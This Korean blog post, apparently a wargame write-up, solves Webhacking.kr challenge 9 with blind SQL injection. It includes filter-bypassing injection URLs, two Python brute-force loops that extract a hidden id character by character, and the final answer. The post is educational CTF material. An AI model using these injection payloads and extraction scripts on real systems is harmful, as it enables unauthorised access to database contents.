일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- 쿠키조작
- 워게임
- Burp
- 서치어드바이저
- 패킷조작
- aaencode
- 수집성공
- webhacking.kr_4번
- Hello_world!
- webhacking.kr
- 정보보안
- sql인젝션
- webhacking.kr_1번
- 코드블럭_설치오류
- 웹해킹_1번
- 코드블락
- 수집보류
- SQL블라인드인젝션
- 웹해킹
- 블로그_시작
- WebHacking
- c언어
- 수집오류
- HTTP_쿠키
- SW블로그
- webhacking.kr_3번
- 코드블럭
- 웹마스터
- 패킷조작프로그램
- 레인보우테이블
- Today
- Total
호빵둥이 IT Blog
Webhacking.kr 9번 풀이 :: 호빵둥이 IT Blog 본문
안녕하세요!
오늘은 워게임, Webhacking.kr Chellenge 9번 문제를 풀어보도록 하겠습니다.
이번문제는 SQL블라인드인젝션을 사용한 문제입니다.
#문제 보기
우선 https://webhacking.kr/challenge/web-09/ 에 접속해보도록 하겠습니다.
각각 1, 2, 3을 눌러 들어가 보면,
이렇게 3가지 사이트를 볼 수 있습니다.
no=3일 때 홈페이지를 통해, no 3 의 id를 구하면 될 것이라고 유추할 수 있습니다.
#문제 분석 및 풀이
SQL 블라인드 인젝션을 하기 전에, 간단하게 SQL인젝션을 시도해보겠습니다.
https://webhacking.kr/challenge/web-09/?no=3%27%20or%20%271%27=%271
하지만, 바로 Access Denied가 뜨는 모습을 볼 수 있습니다.
이후 여러 구문을 시도해본 결과,
'(작은따옴표), "(큰따옴표), 공백, and, &, |, or, % 등이 막혀있는 모습을 볼 수 있습니다.
그러면, SQL 블라인드 인젝션을 통해서 id의 length값을 알아낸 후에 무작위 대입을 통해 유추해보도록 하겠습니다.
우선 다음의 URL에 접속하여 id의 length값을 알아보도록 하겠습니다.
https://webhacking.kr/challenge/web-09/?no=if(LENGTH(id)like({ID문자열의 길이}),3,0)
위 URL 요청을 서버로 보내게 되면, id 의 LENGTH와 입력한 문자열의 길이가 같다면
no가 3이되어 화면에 Secret이 출력되고, 만약 길이가 같지않다면
no가 0이 되어 초기 화면이 보여질 것입니다.
간단한 Python 코드를 입력해 Length 값을 먼저 알아내보도록 하겠습니다.
1
2
3
4
5
6
7
|
for i in range(1,100):
url = 'https://webhacking.kr/challenge/web-09/?no=if(LENGTH(id)like('+str(i)+'),3,0)'
response = requests.get(url)
if(response.text.find('Secret')!= -1):
print("id's length is "+str(i))
break
|
cs |
1 ~ 100 까지 ID의 LENGTH와 비교해서 같으면, ID의 LENGTH를 출력하는 프로그램입니다.
이를 실행시켜 보면,
id가 11자리 글자인 사실을 알 수 있습니다.
이제 substr함수를 사용하여 ID의 각 자리수 문자를 알아보도록 하겠습니다.
https://webhacking.kr/challenge/web-09/?no=if(substr(id,{문자인덱스},1)like({맞는지 확인할 문자의 헥스값}),3,0)
위 구문에 따라 해당 문자 인덱스의 문자가 맞는지 확인할 문자의 헥스값과 비교해서 맞다면
no에 3을, 다르다면 no에 0이 들어갈 것입니다.
이제 이 구문을 11개의 문자에 대해서 일치하는 알파벳 소문자, 대문자를 찾아보도록 하겠습니다.
1
2
3
4
5
6
7
8
|
for i in range(1,12):
for j in range(65, 123):
url = 'https://webhacking.kr/challenge/web-09/?no=if(substr(id,'+str(i)+',1)like('+ hex(j) +'),3,0)'
response = requests.get(url)
if(response.text.find('Secret')!= -1):
print(chr(j),end='')
break
|
cs |
이를 실행시키면,
ID가 ALSRKSWHAQL임을 확인할 수 있습니다.
이를 password에 넣어보면,
https://webhacking.kr/challenge/web-09/index.php?pw=ALSRKSWHAQL
문제가 해결되지 않는 것을 확인할 수 있습니다.
여기서, 우리가 간과하고 있는 점이 하나 있습니다.
바로, MYSQL은 대소문자를 구분하지 않는 것입니다.
그래서 대문자 A의 아스키코드 0x41과 소문자 a의 아스키코드 0x61을 같은 문자로 인식하는 것입니다.
MYSQL에서 대소문자를 구분할 수 있는 방법은 다른 블로그의 링크를 첨부하도록 하겠습니다.
https://m.blog.naver.com/PostView.nhn?blogId=21cchaos&logNo=70104665887
그런데, 이런 방법을 사용해도 Access Denied가 뜨면서 접속을 거부합니다.
그러면 가능한 소문자 조합을 여러가지 시도해 보면,
https://webhacking.kr/challenge/web-09/?pw=alsrkswhaql
답은 alsrkswhaql, 모두 소문자가 됩니다.
#연관된 활동
SQL 블라인드 인젝션을 하기 위해서는 SQL 함수들을 많이 알아두는 것이 좋습니다.
잘 정리된 블로그 링크를 남기며, 이상 마치도록 하겠습니다.
https://websecurity.tistory.com/154
포스트 잘 보셨다면 하단에 ♡ 꼭 눌러주시길 부탁드립니다!
(♡ 는 블로거에게 큰 힘이 됩니다)
[이전글] : 2020/05/18 - [프로그래밍/[워게임]Webhacking.kr] - Webhacking.kr 8번 풀이 :: 호빵둥이 IT Blog
[다음글] : 2020/06/20 - [프로그래밍/[워게임]Webhacking.kr] - Webhacking.kr 10번 풀이 :: 호빵둥이 IT Blog
'프로그래밍 > [워게임]Webhacking.kr' 카테고리의 다른 글
Webhacking.kr 11번 풀이 :: 호빵둥이 IT Blog (0) | 2020.06.24 |
---|---|
Webhacking.kr 10번 풀이 :: 호빵둥이 IT Blog (0) | 2020.06.20 |
Webhacking.kr 8번 풀이 :: 호빵둥이 IT Blog (0) | 2020.05.18 |
Webhacking.kr 7번 풀이 :: 호빵둥이 IT Blog (2) | 2020.05.17 |
Webhacking.kr 6번 풀이 :: 호빵둥이 IT Blog (0) | 2020.05.16 |